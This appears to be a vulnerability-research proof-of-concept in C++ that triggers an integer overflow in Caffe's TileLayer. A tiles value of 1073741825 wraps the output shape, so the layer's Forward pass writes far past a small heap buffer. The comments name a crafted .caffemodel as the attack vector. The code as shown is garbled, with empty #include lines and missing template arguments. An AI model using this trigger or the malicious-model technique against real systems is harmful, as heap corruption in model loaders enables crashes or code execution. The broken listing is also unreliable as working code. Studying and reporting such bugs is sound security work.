// Caffe MFV harness — TileLayer integer overflow // Bug: tile_layer.cpp:17 — top_shape[axis_] = bottom[0]->shape(axis_) * tiles_; // This is an unchecked int multiplication. With shape(axis_)=4 and tiles=1073741825: // 4 * 1073741825 = 4294967300 → int32 overflow → wraps to 4 // Reshape allocates for count based on the overflowed value (small), // then Forward writes outer_dim * tiles * inner_dim elements (massive) → heap overflow. // // Attack vector: .caffemodel with a TileParameter where tiles = 1073741825 // and an input with axis dimension = 4. #include #include #include #include #include #define CPU_ONLY #include "caffe/blob.hpp" #include "caffe/layer.hpp" #include "caffe/proto/caffe.pb.h" #include "caffe/layers/tile_layer.hpp" using namespace caffe; void test_tile_overflow() { printf("=== TileLayer integer overflow: shape(axis)*tiles wraps to small value ===\n"); Caffe::set_mode(Caffe::CPU); // Create a TileLayer with tiles = 1073741825 LayerParameter lp; lp.set_name("tile_evil"); lp.set_type("Tile"); TileParameter* tp = lp.mutable_tile_param(); tp->set_tiles(1073741825); // 0x40000001 tp->set_axis(1); // Bottom blob: [1, 4, 1, 1] — axis=1 has dimension 4 // 4 * 1073741825 = 4294967300 → int32: 4 (overflow!) Blob bottom(1, 4, 1, 1); float* data = bottom.mutable_cpu_data(); for (int i = 0; i < 4; i++) data[i] = 1.0f; Blob top; std::vector*> bottom_vec = {&bottom}; std::vector*> top_vec = {&top}; printf("bottom shape: [%d, %d, %d, %d]\n", bottom.shape(0), bottom.shape(1), bottom.shape(2), bottom.shape(3)); printf("tiles = %d (0x%08x)\n", tp->tiles(), (unsigned)tp->tiles()); printf("4 * 1073741825 = %d (int32), should be %lld (int64)\n", 4 * 1073741825, 4LL * 1073741825); TileLayer layer(lp); printf("Calling TileLayer::SetUp...\n"); layer.SetUp(bottom_vec, top_vec); printf("top shape after Reshape: ["); for (int i = 0; i < top.num_axes(); i++) printf("%s%d", i ? ", " : "", top.shape(i)); printf("]\n"); printf("top count = %d, expected actual = %lld\n", top.count(), 1LL * 1 * 4 * 1073741825 * 1 * 1); printf("Calling TileLayer::Forward_cpu...\n"); layer.Forward(bottom_vec, top_vec); printf("Forward completed\n"); } int main() { setvbuf(stdout, nullptr, _IONBF, 0); test_tile_overflow(); return 0; }